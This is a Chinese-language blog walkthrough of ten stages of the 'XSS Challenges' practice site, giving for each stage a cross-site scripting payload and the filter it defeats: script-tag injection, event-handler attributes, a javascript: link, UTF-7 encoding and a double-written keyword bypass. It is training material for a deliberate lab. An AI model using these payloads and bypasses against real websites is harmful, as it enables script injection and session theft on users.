XSS Challenges通关教程

Stage #1

1、输入特殊字符判断位置

在这里插入图片描述

2、构造Payload

"</b><script>alert(document.domain);</script>

Stage #2

1、输入特殊字符判断位置

在这里插入图片描述

2、构造Payload

"><script>alert(document.domain);</script>

Stage #3

1、输入特殊字符判断位置

在这里插入图片描述

2、构造Payload

"</b><script>alert(document.domain);</script>

发现失败

原因

  • 用于标签构造的<>被转义了
  • 用于匹配掉双引号也被转义

使用burpsuit抓包发现两个参数

在这里插入图片描述

3、重新构造Payload

p1=1&p2=Japan"</b><script>alert(document.domain);</script>

Stage #4

1、输入特殊字符判断位置

在这里插入图片描述

2、构造Payload

"</b><script>alert(document.domain);</script>
p1=1&p2=Japan"</b><script>alert(document.domain);</script>#&p3=hackme

发现失败,p1和p2参数<>和双引号都被转义了

3、重新构造Payload

p1=1&p2=Japan&p3=hackme"</b><script>alert(document.domain);</script>

Stage #5

1、输入特殊字符判断位置

在这里插入图片描述

2、构造Payload

"><script>alert(document.domain);</script>

发现有个maxlenth限制长度,可以直接修改maxlenth然后输入

成功

Stage #6

1、输入特殊字符判断位置

在这里插入图片描述

2、构造Payload

"><script>alert(document.domain);</script>

发现<>符号被HTML特殊字符代替,说明输入内容被HTML实体编码,不过双引号可用

在这里插入图片描述

3、重新构造Payload

"onclick="alert(document.domain)
”onmouseover=”alert(document.domain)

Stage #7

1、输入特殊字符判断位置

在这里插入图片描述

2、构造Payload

"onclick="alert(document.domain)

发现双引号被转义了,使用空格分离

3、重新构造Payload

= onmouseover=alert(document.domain)

Stage #8

1、输入特殊字符判断位置

在这里插入图片描述

2、构造Payload

链接在a标签里

A标签用javascript执行:
javascript:alert(document.domain)

Stage #9

1、输入特殊字符判断位置

在这里插入图片描述

2、构造Payload

"><script>alert(document.domain);</script>

发现构造失败

使用Burpsuit抓包,发现euc-jp,需要使用 IE7浏览器 将payload构造为 UTF-7编码

在这里插入图片描述

3、重新构造Payload

p1=1%2bACI- οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7

Stage #10

1、输入特殊字符判断位置

在这里插入图片描述

2、构造Payload

"><script>alert(document.domain);</script>

发现domain被过滤,需要绕过domain过滤,双写绕过

在这里插入图片描述

3、重新构造Payload

"><script>alert(document.dodomainmain);</script>
posted @ 2022-07-06 18:24  爱吃_白菜  阅读(105)  评论(0编辑  收藏  举报